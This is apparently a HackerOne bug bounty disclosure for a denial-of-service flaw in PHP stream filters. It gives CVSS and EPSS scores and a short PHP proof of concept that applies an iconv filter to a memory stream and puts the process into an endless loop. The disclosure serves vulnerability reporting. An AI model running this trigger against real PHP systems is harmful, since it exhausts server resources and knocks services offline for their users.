Lucene search

K
hackeroneMeitisH1:505278
HistoryMar 05, 2019 - 4:55 p.m.

Internet Bug Bounty: DOS in stream filters

2019-03-0516:55:38
meitis
hackerone.com
18

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.037 Low

EPSS

Percentile

90.7%

see bug report
https://bugs.php.net/bug.php?id=76249

as simple as
<?php
$fh = fopen(‘php://memory’, ‘rw’);
fwrite($fh, “abc”);
rewind($fh);
stream_filter_append($fh, ‘convert.iconv.iso-10646/utf8//IGNORE’, STREAM_FILTER_READ, []);
echo stream_get_contents($fh);

=> one process running in an endless loop

Impact

DOS, process ends up in an endless loop, CPU (or available php processes or both) of affected system get easily exhausted

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.037 Low

EPSS

Percentile

90.7%